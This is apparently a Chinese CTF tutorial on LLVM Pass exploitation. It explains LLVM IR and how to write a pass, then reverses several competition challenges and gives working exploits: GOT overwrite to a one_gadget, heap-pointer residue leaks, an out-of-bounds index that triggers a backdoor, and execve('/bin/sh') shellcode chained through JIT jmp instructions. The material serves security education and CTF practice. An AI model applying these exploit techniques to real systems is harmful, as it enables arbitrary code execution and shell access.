llvm 要学习LLVM PASS类pwn,首先要知道什么是LLVM
LLVM
是C++
编写的构架编译器的框架系统,可用于优化以任意程序语言编写的程序。
LLVM Pass
可用于对代码进行优化或者对代码插桩(插入新代码),LLVM
的核心库中提供了一些Pass
类可以继承,通过实现它的一些方法,可以对传入的LLVM IR
进行遍历并操作。
LLVM IR
即代码的中间表示,有三种形式:
.ll
格式:人类可以阅读的文本,介于高级语言和汇编代码之间
.bc
格式:bitcode适合机器存储的二进制文件
内存表示,只保存在内存中
然后要知道LLVM PASS是什么:pass是一种编译器开发的结构化技术,用于完成编译对象(如IR)的转换、分析或优化等功能。pass的执行就是编译器对编译对象进行转换、分析和优化的过程,pass构建了这些过程所需要的分析结果。
首先我们的源代码会被clang编译器编译成一种中间代码——IR,这个叫IR的东西非常重要,它连接这编译器的前端和后端,IR的设计很大程度体现着LLVM插件化、模块化的设计哲学,LLVM的各种pass其实都是作用在LLVM IR上的。同时IR也是一个编译器组件接口。通常情况下,设计一门新的编程语言只需要完成能够生成LLVM IR的编译器前端即可,然后就可以轻松使用LLVM的各种编译优化、JIT支持、目标代码生成等功能。
大概就是说,LLVM提供了一种中间语言形式 ,以及编译链接这种语言的后端能力,那么对于一个新语言,只要开发者能够实现新语言到IR的编译器前端设计,就可以享受到从IR到可执行文件这之间的LLVM提供的所有优化、分析或者代码插桩的能力 。
而LLVM PASS就是去处理IR文件,通过opt利用写好的so库优化已有的IR,形成新的IR。而LLVM PASS类的pwn就是利用这一过程中可能会出现的漏洞。
安装 安装CTF
题目中常用的三个版本的clang
及LLVM
:
1 2 3 4 5 6 7 8 sudo apt install clang-8 sudo apt install llvm-8 sudo apt install clang-10 sudo apt install llvm-10 sudo apt install clang-12 sudo apt install llvm-12
例子 一个测试用的c语言小程序
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <unistd.h> int main () { char name[0x10 ]; puts ("Please tell me your name:" ); read(0 , name, 0x10 ); printf ("Hello: " ); write(1 , name, 0x10 ); }
进行编译然后执行如下命令,将c文件编译成ll后缀的文件:
1 clang -emit-llvm -S test.c -o test.ll
查看内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 source_filename = "test.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [26 x i8 ] c "Please tell me your name:\00 " , align 1 @.str.1 = private unnamed_addr constant [8 x i8 ] c "Hello: \00 " , align 1 define dso_local i32 @main () #0 { %1 = alloca [16 x i8 ], align 16 %2 = call i32 @puts (i8 * getelementptr inbounds ([26 x i8 ], [26 x i8 ]* @.str , i64 0 , i64 0 )) %3 = getelementptr inbounds [16 x i8 ], [16 x i8 ]* %1 , i64 0 , i64 0 %4 = call i64 @read (i32 0 , i8 * %3 , i64 16 ) %5 = call i32 (i8 *, ...) @printf (i8 * getelementptr inbounds ([8 x i8 ], [8 x i8 ]* @.str.1 , i64 0 , i64 0 )) %6 = getelementptr inbounds [16 x i8 ], [16 x i8 ]* %1 , i64 0 , i64 0 %7 = call i64 @write (i32 1 , i8 * %6 , i64 16 ) ret i32 0 } declare dso_local i32 @puts (i8 *) #1 declare dso_local i64 @read (i32 , i8 *, i64 ) #1 declare dso_local i32 @printf (i8 *, ...) #1 declare dso_local i64 @write (i32 , i8 *, i64 ) #1 attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math" = "false" "disable-tail-calls" = "false" "frame-pointer" = "all" "less-precise-fpmad" = "false" "min-legal-vector-width" = "0" "no-infs-fp-math" = "false" "no-jump-tables" = "false" "no-nans-fp-math" = "false" "no-signed-zeros-fp-math" = "false" "no-trapping-math" = "false" "stack-protector-buffer-size" = "8" "target-cpu" = "x86-64" "target-features" = "+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math" = "false" "use-soft-float" = "false" }attributes #1 = { "correctly-rounded-divide-sqrt-fp-math" = "false" "disable-tail-calls" = "false" "frame-pointer" = "all" "less-precise-fpmad" = "false" "no-infs-fp-math" = "false" "no-nans-fp-math" = "false" "no-signed-zeros-fp-math" = "false" "no-trapping-math" = "false" "stack-protector-buffer-size" = "8" "target-cpu" = "x86-64" "target-features" = "+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math" = "false" "use-soft-float" = "false" }!llvm.module.flags = !{!0 }!llvm.ident = !{!1 }!0 = !{i32 1 , !"wchar_size" , i32 4 }!1 = !{!"clang version 10.0.0-4ubuntu1 " }
接下来我们用官方给的小demo写一个LLVM PASS出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include "llvm/Pass.h" #include "llvm/IR/Function.h" #include "llvm/IR/Constants.h" #include "llvm/IR/BasicBlock.h" #include "llvm/IR/Instructions.h" #include "llvm/Support/raw_ostream.h" #include "llvm/IR/LegacyPassManager.h" #include "llvm/Transforms/IPO/PassManagerBuilder.h" using namespace llvm; namespace { struct Hello : public FunctionPass { static char ID; Hello () : FunctionPass (ID) {} bool runOnFunction (Function &F) override { errs () << "Hello: " ; errs ().write_escaped (F.getName ()) << '\n' ; SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end (); for (SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin (); bbIter != bbEnd; ++bbIter){ SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin (); SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end (); for (; instIter != instEnd; ++instIter){ errs () << "OpcodeName = " << instIter->getOpcodeName () << " NumOperands = " << instIter->getNumOperands () << "\n" ; if (instIter->getOpcode () == 56 ) { if (const CallInst* call_inst = dyn_cast <CallInst>(instIter)) { errs () << call_inst->getCalledFunction ()->getName () << "\n" ; for (int i = 0 ; i < instIter->getNumOperands ()-1 ; i++) { if (isa <ConstantInt>(call_inst->getOperand (i))) { errs () << "Operand " << i << " = " << dyn_cast <ConstantInt>(call_inst->getArgOperand (i))->getZExtValue () << "\n" ; } } } } } } return false ; } }; } char Hello::ID = 0 ; static RegisterPass<Hello> X ("Hello" , "Hello World Pass" ) ; static RegisterStandardPasses Y (PassManagerBuilder::EP_EarlyAsPossible, [](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) { PM.add(new Hello()); }) ;
上述代码中的Hello
结构体继承了LLVM
核心库中的FunctionPass
类,并重写了其中的runOnFunction
函数(一般的CTF
题都是如此)。runOnFunction
函数在LLVM
遍历到每一个传入的LLVM IR
中的函数时都会被调用。
getName()
函数用于获取当前runOnFunction
正处理的函数名
第一个for
循环是对当前处理的函数中的基本块(比如一些条件分支语句就会产生多个基本块,在生成的ll
文件中,不同基本块之间会有换行)遍历,第二个for
循环是对每个基本块中的指令遍历
getOpcodeName()
函数用于获取指令的操作符的名称,getNumOperands()
用于获取指令的操作数的个数,getOpcode()
函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def
文件中有对应表,可以看到,56
号对应着Call
这个操作符:
1 2 3 ... HANDLE_OTHER_INST (``56 ``, Call , CallInst ) ...
当在一个A
函数中调用了B
函数,在LLVM IR
中,A
会通过Call
操作符调用B
,getCalledFunction()
函数就是用于获取此处B
函数块的指针
getOperand(i)
是用于获取第i
个操作数(在这里就是获取所调用函数的第i
个参数),getArgOperand()
函数与其用法类似,但只能获取参数,getZExtValue()
即get Zero Extended Value
,也就是将获取的操作数转为无符号扩展整数
再看到最内层for
循环中的instIter->getNumOperands()-1
,这里需要-1
是因为对于call
和invoke
操作符,操作数的数量是实际参数的个数+1
(因为将被调用者也当成了操作数)
if (isa<ConstantInt>(call_inst->getOperand(i)))
这行语句是通过isa
判断当前获取到的操作数是不是立即数(ConstantInt
)
static RegisterPass<Hello> X("Hello", "Hello World Pass");
中的第一个参数就是注册的PASS
名称
使用以下命令将其编译为一个so模块
1 clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
接着,通过opt -load ./LLVMHello.so -Hello test.ll
命令运行,得到如下结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 aichch ~/Program/clang opt -load ./LLVMHello.so -Hello test.ll WARNING: You're attempting to print out a bitcode file. This is inadvisable as it may cause display problems. If you REALLY want to taste LLVM bitcode first-hand, you can force output with the `-f' option.Hello: main OpcodeName = alloca NumOperands = 1 OpcodeName = call NumOperands = 2 puts OpcodeName = getelementptr NumOperands = 3 OpcodeName = call NumOperands = 4 read Operand 0 = 0 Operand 2 = 16 OpcodeName = call NumOperands = 2 printf OpcodeName = getelementptr NumOperands = 3 OpcodeName = call NumOperands = 4 write Operand 0 = 1 Operand 2 = 16 OpcodeName = ret NumOperands = 1
例题 2021redhat-simpleVM 题目提供了三个文件
opt-8
,VMPass.so
以及libc-2.31.so
核心肯定在于VMPass.so
,首先定位到RunOnFunction函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 __int64 __fastcall sub_6830 (__int64 a1, llvm::Value *a2) { __int64 v2; bool v4; size_t v5; const void *Name; __int64 v7; int v8; Name = (const void *)llvm::Value::getName(a2); v7 = v2; if ( "o0o0o0o0" ) v5 = strlen ("o0o0o0o0" ); else v5 = 0LL ; v4 = 0 ; if ( v7 == v5 ) { if ( v5 ) v8 = memcmp (Name, "o0o0o0o0" , v5); else v8 = 0 ; v4 = v8 == 0 ; } if ( v4 ) sub_6AC0(a1, a2); return 0LL ; }
如果函数名是o0o0o0o0
则会进入sub_6AC0
函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 __fastcall sub_6AC0 (__int64 a1, llvm::Function *a2) { __int64 v3; __int64 v4; __int64 v5[2 ]; v5[1 ] = __readfsqword(0x28 u); v5[0 ] = llvm::Function::begin(a2); while ( 1 ) { v4 = llvm::Function::end(a2); if ( (llvm::operator!=(v5, &v4) & 1 ) == 0 ) break ; v3 = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false ,false ,void >,false ,false >::operator*(v5); sub_6B80(a1, v3, 1LL ); llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false ,false ,void >,false ,false >::operator++( v5, 0LL ); } return __readfsqword(0x28 u); }
其主要的逻辑又在于sub_6B80
这个函数有点长就不完整放出来了,其内部主要在匹配o0o0o0o0
函数的基本块
1 2 3 4 5 6 7 8 9 10 v39[0 ] = llvm::BasicBlock::begin(a2); while ( 1 ){ v38 = llvm::BasicBlock::end(a2); if ( (llvm::operator!=(v39, &v38) & 1 ) == 0 ) break ; v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false ,false ,void >,false ,false >>(v39); if ( (unsigned int )llvm::Instruction::getOpcode(v36) == 55 ) { v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
遍历所有的基本块BasicBlock
,然后使用llvm::dyn_cast
(其功能是动态类型转换),将基本块指针转化为Instruction
指针
如果操作码是一个call系统调用(Opcode:55),则将Instruction
指针动态类型转化为CallBase
指针
并进入深一步的判断,主要是匹配各个被调用的函数名字
有如下可能pop push store load add min
,每个都对应一个处理
操作的关键有两个变量off_20DFD0
与off_20DFc0
其是两个指针
1 2 LOAD:000000000020DFC0 88 E5 20 00 00 00 00 00 off_20DFC0 dq offset reg2 LOAD:000000000020DFD0 80 E5 20 00 00 00 00 00 off_20DFD0 dq offset reg1
add()
和min()
是一对函数,会通过第一个参数确定所要操作的全局变量,然后将第二个参数的值加上或减去。
其可以用于修改寄存器的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 else if ( !strcmp (s1, "min" ) && (unsigned int )llvm::CallBase::getNumOperands(v35) == 3 ){ v11 = llvm::CallBase::getArgOperand(v35, 0 ); v10 = 0LL ; v9 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v11); if ( v9 ) { v8 = llvm::ConstantInt::getZExtValue(v9); if ( v8 == 1 ) v10 = off_20DFD0; if ( v8 == 2 ) v10 = off_20DFC0; } if ( v10 ) { v7 = llvm::CallBase::getArgOperand(v35, 1u ); v6 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v7); if ( v6 ) *v10 -= llvm::ConstantInt::getZExtValue(v6); } }
store()
和load()
也是一对函数,会将两个全局变量中的一个看作地址,并将地址中的值给另一个全局变量(load()
任意地址读漏洞)或是将另一个全局变量中的值存放到这个地址中store()
任意地址写漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 else if ( !strcmp (s1, "store" ) ){ if ( (unsigned int )llvm::CallBase::getNumOperands(v35) == 2 ) { v25 = llvm::CallBase::getArgOperand(v35, 0 ); v24 = 0LL ; v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25); if ( v23 ) { v22 = llvm::ConstantInt::getZExtValue(v23); if ( v22 == 1 ) v24 = off_20DFD0; if ( v22 == 2 ) v24 = off_20DFC0; } if ( v24 == off_20DFD0 ) { **(_QWORD **)off_20DFD0 = *(_QWORD *)off_20DFC0; } else if ( v24 == off_20DFC0 ) { **(_QWORD **)off_20DFC0 = *(_QWORD *)off_20DFD0; } } }
由于opt
一般是不会开PIE
保护的,故这里可以考虑先利用任意地址读漏洞通过opt
中任意一个函数的got
表拿到libc
地址,并用add
和min
函数对其修改,再利用任意地址写漏洞来劫持opt
中的某个got
表为one_gadget
即可
这里选择free
,因为每一次循环结束都会有
1 2 3 4 5 6 7 free (s1); } } llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false ,false ,void >,false ,false >::operator++( v39, 0LL ); }
exp:
./opt-8 -load ./VMPass.co -VMPass ./exp.ll
1 2 3 4 5 6 7 8 9 10 void store(int a); void load(int a); void add(int a, int b); void o0o0o0o0(){ add(1 , 0x77e100 ); load(1 ); add(2 , 0x729ec ); store(1 ); }
在打远程的时候,与内核和QEMU
逃逸的题类似:将exp.ll
或exp.bc
通过base64
加密传输到远程服务器,远程服务器会解码,并将得到的LLVM IR
传给LLVM
运行。
题目给的文件还是老样子
直接ida打开SAPass.so,开始的start函数可以看到注册的Pass类就叫做SAPass
根据之前说过的方法定位到重写的RunOnFunction
函数为sub_19D0
但这题的反编译结果要比上一题的复杂得多
虽然其中有很多是对非法信息的检测,只要我们正常编写程序都是不会触发的,所以可以忽略不计(嫌难看的话,因为这些报错代码都是连在一起的可以直接nop掉)
但就算这样代码也还是一坨,不过依据这类题目的尿性,以及自己做一些调试 ,就能判断出后面还是对B4ckDo0r
函数内部调用的函数做判断
有如下可能save takeway fakekey stealkey run
run中有一个特别显眼的块,调用了byte_2040f8
指向的值作为函数指针调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 v4 = ((__int64 (__fastcall *)(_QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD, _QWORD))*byte_2040f8)( 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL , 0LL ); }
那么我们就看一下这个全局变量是怎么来的,是否存在操作空间
可以注意到其是在save
函数的处理中被赋值的
1 2 3 4 5 6 7 8 9 10 11 sub_2430(&src, v20); sub_2430(v67, v24); v25 = n; v26 = malloc (0x18 uLL); v26[2 ] = byte_2040f8; byte_2040f8 = v26; v27 = (char *)src; memcpy (v26, src, v25);v28 = v26 + 1 ; v29 = (char *)v67[0 ]; memcpy (v28, v67[0 ], (size_t )v67[1 ]);
但我们有必要知道memcpy(v26, src, v25);
往堆块了写了什么
可以看出其来源是sub_2430(&src, v20);
这个函数大致一看就是往src里填充内容,但不太能知道v20
是个啥,这时候可以进行一些调试,写一个save(0x1,0x2,0x3,0x4.....);
这样的函数,然后去调试判断
在stealkey
中有这么一句
1 byte_204100 = *byte_2040f8;
然后在fakekey
中又有
1 2 3 4 5 6 7 v59 = byte_204100; if ( *(_BYTE *)(*(_QWORD *)v58 + 16LL ) == 13 ) SExtValue = llvm::APInt::getSExtValue((llvm::APInt *)(*(_QWORD *)v58 + 24LL )); else SExtValue = 0LL ; byte_204100 = v59 + SExtValue; *byte_2040f8 = v59 + SExtValue;
SExtValue
是我们传递的参数
也就是说我们可以在一定范围修改byte_2040f8
的值,那么如果上面残余了libc的指针,就能够修改为onegadget
那么就要如何确保其上残余libc地址了
第一次malloc之前
那么我们只需要取一次chunk,之后的fd字段就会残余地址了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 void save (char *a, char *b) ;void stealkey () ;void fakekey (long long x) ;void run () ;void B4ckDo0r () { save("\n" , "\n" ); save("" , "\n" ); stealkey(); fakekey(-0x1ecbf0 +0xe3afe ); run(); }
2022qwb-yakagame 不多说,直接打开yaka.so
,找到注册的类名字是ayaka
重写的ROF函数是sub_C880
针对gamestart
函数,然后内部又是一堆调用函数处理
fight
函数中存在一个后门
1 2 if ( (__int64)*score > 0x12345678 ) backdoor();
不过需要当分数大于0x12345678才能调用
如何触发后门函数呢?weaponlist[]
数组是char
类型的,即单字节,就算比boss
值要大,其差值也不可能大于0x12345678
。
继续往后看,后面逆向也都不难,merge
函数可以将一个weaponlist
的值加到另一个上,destroy
可以将指定weaponlist
清零,upgrade
可以将所有weaponlist
的值都加上某一个数值。
接着,会有四个奇怪的函数,像是拼音,也不知道啥意思:wuxiangdeyidao
,zhanjinniuza
,guobapenhuo
,tiandongwanxiang
可以对cmd
字符串中每个字符都进行同样的操作。由此可以想到,可通过这四个函数对cmd
字符串原有的内容解密成某个命令。
cmd
开始是由src
复制过来的,其中内容如下
1 2 3 4 5 6 7 8 9 10 .rodata:0000000000011401 ; const char src .rodata:0000000000011401 92 src db 92h ; DATA XREF: sub_C880+6F↑o .rodata:0000000000011402 68 db 68h ; h .rodata:0000000000011403 7B db 7Bh ; { .rodata:0000000000011404 27 db 27h ; ' .rodata:0000000000011405 6D db 6Dh ; m .rodata:0000000000011406 93 db 93h .rodata:0000000000011407 68 db 68h ; h .rodata:0000000000011408 66 db 66h ; f .rodata:0000000000011409 00 db 0
可以看到其中第二个和第七个字符一样,而那四个函数每次又是对所有字符做同样的操作,因此不难联想到最后解密成的命令很可能是cat flag
,写个脚本爆破一下即可。不过这题实际上也不用如此,继续对后面进行分析就知道了。
后面就是一个else
条件分支,也就是说当调用的函数不是上面提及的所有函数的时候,就会进入这个分支。这里用了C++ STL
里的map
,map
可在任意类型的值之间建立映射关系,并且会按关键字从小到大排序。如:map["abc"] = 123
就将abc
这个字符串与123
这个数值间建立了映射关系,并且在通过迭代器遍历map
的时候,关键字abc
会在关键字abd
之前遍历到。
1 2 3 4 5 6 7 8 9 10 11 if ( (std ::operator==<char >(v22, v58) & 1 ) != 0 ){ v23 = std ::operator<<<std ::char_traits<char >>( &std ::cout , "you really want this?all right,i will add it into the weapon list" ); std ::ostream::operator<<(v23, &std ::endl <char ,std ::char_traits<char >>); v24 = std ::_Rb_tree_iterator<std ::pair <std ::string const ,unsigned char >>::operator->(&v34); weaponlist[v33] = *(_BYTE *)(v24 + 32 ); break ; } ++v33;
在这个else
分支中,会先遍历map
,查找是否有调用的这个函数名作为key
,其第一个参数作为value
的映射关系。
若是有,则会将weaponlist[]
数组下标对应map
中此映射关系位置的值改为这个value
。若没有,则会将这个新映射关系加入map
中。
我们注意到,此处的v33
是有符号的char
类型,其范围是-128~127
,故当map
中映射关系很多的时候,v33
会是负数,此处也就存在一个数组下标越界的漏洞了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 .bss:00000000002169A8 public cmd .bss:00000000002169A8 ; char *cmd .bss:00000000002169A8 ?? ?? ?? ?? ?? ?? ?? ?? cmd dq ? ; DATA XREF: LOAD:0000000000002468↑o .bss:00000000002169A8 ; .got:cmd_ptr↑o .bss:00000000002169B0 public score .bss:00000000002169B0 ?? score db ? ; ; DATA XREF: LOAD:0000000000001340↑o .bss:00000000002169B0 ; .got:score_ptr↑o .bss:00000000002169B1 ?? db ? ; .bss:00000000002169B2 ?? db ? ; .bss:00000000002169B3 ?? db ? ; .bss:00000000002169B4 ?? db ? ; .bss:00000000002169B5 ?? db ? ; .bss:00000000002169B6 ?? db ? ; .bss:00000000002169B7 ?? db ? ; .bss:00000000002169B8 ?? db ? ; .bss:00000000002169B9 ?? db ? ; .bss:00000000002169BA ?? db ? ; .bss:00000000002169BB ?? db ? ; .bss:00000000002169BC ?? db ? ; .bss:00000000002169BD ?? db ? ; .bss:00000000002169BE ?? db ? ; .bss:00000000002169BF ?? db ? ; .bss:00000000002169C0 public weaponlist .bss:00000000002169C0 ; char weaponlist[256] .bss:00000000002169C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+weaponlist db 100h dup(?)
如上图,可以看到cmd
指针和score
指针都在weaponlist
之前,故可以通过这个数组下标越界漏洞,修改score
指针的最后一字节[-16],使其错位,从而指向很大的数字,触发后门函数。
由于opt
没开PIE
保护,故直接将cmd
指针指向opt
中的某个字符串末尾的sh
即可
一个生成exp模板的脚本,对生成的文件进行微调即可完成要求
1 2 3 4 5 6 7 8 9 10 11 for i in range (256 ): s = str (i) s = "0" *(3 -len (s)) + s print ("void func" + s + "(int x);" ) print ("" )for i in range (256 ): s = str (i) s = "0" *(3 -len (s)) + s print ("func" + s + "(0);" )
注册Pass叫做mba,重写的ROF函数是`anonymous namespace'::MBAPass::runOnFunction
函数真正需要关注的部分只有
1 2 3 4 mprotect(this[4 ], 0x1000 uLL, 3 ); `anonymous namespace' ::MBAPass::handle((_anonymous_namespace_::MBAPass *)this, v29); mprotect(this[4 ], 0x1000 uLL, 5 ); v27 = `anonymous namespace' ::MBAPass::callCode((_anonymous_namespace_::MBAPass *)this);
1 2 3 4 5 6 __int64 __fastcall `anonymous namespace' ::MBAPass::callCode( __int64 (__fastcall **this)(_anonymous_namespace_::MBAPass *, __int64), __int64 a2) { return this[4 ]((_anonymous_namespace_::MBAPass *)this, a2); }
先将this[4]
页置为可写可执行,执行handler函数
再将this[4]
页置为可读可执行,执行this[4]
处的代码
经过调试可以知道this[4]被全部初始化为c3
那么重点就是handle了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 v29 = (llvm::BasicBlock *)llvm::Function::front(a2); Terminator = (llvm::User *)llvm::BasicBlock::getTerminator(v29); Operand = llvm::User::getOperand(Terminator, 0 ); if ( (llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1 ) != 0 ){ *((_DWORD *)this + 12 ) = 0 ; v2 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(Operand); SExtValue = llvm::ConstantInt::getSExtValue(v2); `anonymous namespace' ::MBAPass::writeMovImm64(this, 0 , SExtValue); return `anonymous namespace' ::MBAPass::writeRet(this); } else if ( (llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1 ) != 0 ){ *((_DWORD *)this + 12 ) = 1 ; `anonymous namespace' ::MBAPass::writeMovImm64(this, 0 , 0LL ); return `anonymous namespace' ::MBAPass::writeRet(this); }
这题是倒序对基本块中的指令进行处理的,getTerminator
函数是取末尾的指令,第一个if
判断末尾指令的第一个操作数是否是常数,第二个else if
判断末尾指令的第一个操作数是否为函数的参数,如果都不是,说明是变量,那就进入到最后else
的分支。
出题人实现了四个函数用于写指令
writeMovImm64 给rax或rbx立即数
writeInc inc rax
writeOpReg add rax,rbx
writeRet 写ret
但这些shellcode似乎并没办法能够构造完成getshell
所以这题最后利用的是反复执行RunOnFunction的时候,this[4]的内容是不会被重置的
因为其是在构造函数中进行初始化的
1 2 3 4 5 6 7 void *__fastcall `anonymous namespace' ::MBAPass::MBAPass(void **this){ llvm::FunctionPass::FunctionPass((llvm::FunctionPass *)this, `anonymous namespace' ::MBAPass::ID); *this = (char *)&`vtable for ' `anonymous namespace' ::MBAPass + 16 ; this[4 ] = mmap(0LL , 0x1000 uLL, 3 , 34 , -1 , 0LL ); return memset (this[4 ], 195 , 0x1000 uLL); }
通过分析发现,一个sub
或者add
的IR
对应的shellcode
是13个字节 :,那么我们可以这样构造
第一次利用add rax功能在这个区域留下一些jmp指令
然后第二次输入shellcode恰好覆盖到执行jmp指令,并且在第二次输入shellcode的时候提前利用add rax功能分多次布置好shellcode并使用jmp跳转指令连接
最后由于这题的LLVM IR
中指令的操作符只能是add
或sub
,故不能用C
语言直接编译生成LLVM IR
文件,不然会有很多其他的操作符。
可以先用C
语言写两个空函数 ,再通过clang-12
对其编译生成ll
文件,然后直接在ll
文件中仿照之前的题目手写LLVM IR
模板脚本:
1 2 3 for i in range (2 , 319 ): payload = " %" + str (i) + " = add nsw i64 %" + str (i-1 ) + ", " + "1024" print (payload)
shellcode:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os = 'linux' , arch = 'amd64' ) shellcode = [ "mov edi, 0x68732f6e" , "shl rdi, 24" , "mov ebx, 0x69622f" , "add rdi, rbx" , "push rdi" , "push rsp" , "pop rdi" , "xor rsi, rsi" , "xor rdx, rdx" , "push 59" , "pop rax" , "syscall" ] for sc in shellcode: print (u64(asm(sc).ljust(6 , b'\x90' ) + b'\xEB\xEB' )) print (u16(b'\xEB\xE4' ))
拾遗 逆向定位 一般情况下,ctf中llvm类题目都是重写了FunctionPass
类中的runOnFunction
函数
那么该如何定位到重写的runOnFunction
函数
只需要打开so文件,在ida中搜索文本vtable
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 LOAD:000000000020DD10 ; `vtable for'`anonymous namespace'::VMPass LOAD:000000000020DD10 00 00 00 00 00 00 00 00 _ZTVN12_GLOBAL__N_16VMPassE dq 0 ; offset to this LOAD:000000000020DD18 B0 DD 20 00 00 00 00 00 dq offset _ZTIN12_GLOBAL__N_16VMPassE ; `typeinfo for'`anonymous namespace'::VMPass LOAD:000000000020DD20 80 67 00 00 00 00 00 00 off_20DD20 dq offset sub_6780 ; DATA XREF: sub_6720+30↑o LOAD:000000000020DD28 D0 67 00 00 00 00 00 00 dq offset sub_67D0 LOAD:000000000020DD30 E0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass11getPassNameEv ; llvm::Pass::getPassName(void) LOAD:000000000020DD38 30 7A 00 00 00 00 00 00 dq offset _ZN4llvm4Pass16doInitializationERNS_6ModuleE ; llvm::Pass::doInitialization(llvm::Module &) LOAD:000000000020DD40 80 7A 00 00 00 00 00 00 dq offset _ZN4llvm4Pass14doFinalizationERNS_6ModuleE ; llvm::Pass::doFinalization(llvm::Module &) LOAD:000000000020DD48 80 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass5printERNS_11raw_ostreamEPKNS_6ModuleE ; llvm::Pass::print(llvm::raw_ostream &,llvm::Module const*) LOAD:000000000020DD50 08 EB 20 00 00 00 00 00 dq offset _ZNK4llvm12FunctionPass17createPrinterPassERNS_11raw_ostreamERKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE ; llvm::FunctionPass::createPrinterPass(llvm::raw_ostream &,std::string const&) LOAD:000000000020DD58 F0 EA 20 00 00 00 00 00 dq offset _ZN4llvm12FunctionPass17assignPassManagerERNS_7PMStackENS_15PassManagerTypeE ; llvm::FunctionPass::assignPassManager(llvm::PMStack &,llvm::PassManagerType) LOAD:000000000020DD60 C0 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18preparePassManagerERNS_7PMStackE ; llvm::Pass::preparePassManager(llvm::PMStack &) LOAD:000000000020DD68 B0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm12FunctionPass27getPotentialPassManagerTypeEv ; llvm::FunctionPass::getPotentialPassManagerType(void) LOAD:000000000020DD70 D8 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass16getAnalysisUsageERNS_13AnalysisUsageE ; llvm::Pass::getAnalysisUsage(llvm::AnalysisUsage &) LOAD:000000000020DD78 00 EB 20 00 00 00 00 00 dq offset _ZN4llvm4Pass13releaseMemoryEv ; llvm::Pass::releaseMemory(void) LOAD:000000000020DD80 A0 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass26getAdjustedAnalysisPointerEPKv ; llvm::Pass::getAdjustedAnalysisPointer(void const*) LOAD:000000000020DD88 78 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18getAsImmutablePassEv ; llvm::Pass::getAsImmutablePass(void) LOAD:000000000020DD90 C8 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass18getAsPMDataManagerEv ; llvm::Pass::getAsPMDataManager(void) LOAD:000000000020DD98 D0 EA 20 00 00 00 00 00 dq offset _ZNK4llvm4Pass14verifyAnalysisEv ; llvm::Pass::verifyAnalysis(void) LOAD:000000000020DDA0 98 EA 20 00 00 00 00 00 dq offset _ZN4llvm4Pass17dumpPassStructureEj ; llvm::Pass::dumpPassStructure(uint) LOAD:000000000020DDA8 30 68 00 00 00 00 00 00 dq offset sub_6830 LOAD:000000000020DDB0 ; public `anonymous namespace'::VMPass
一般最后一项就是重写的runOnFunction
函数
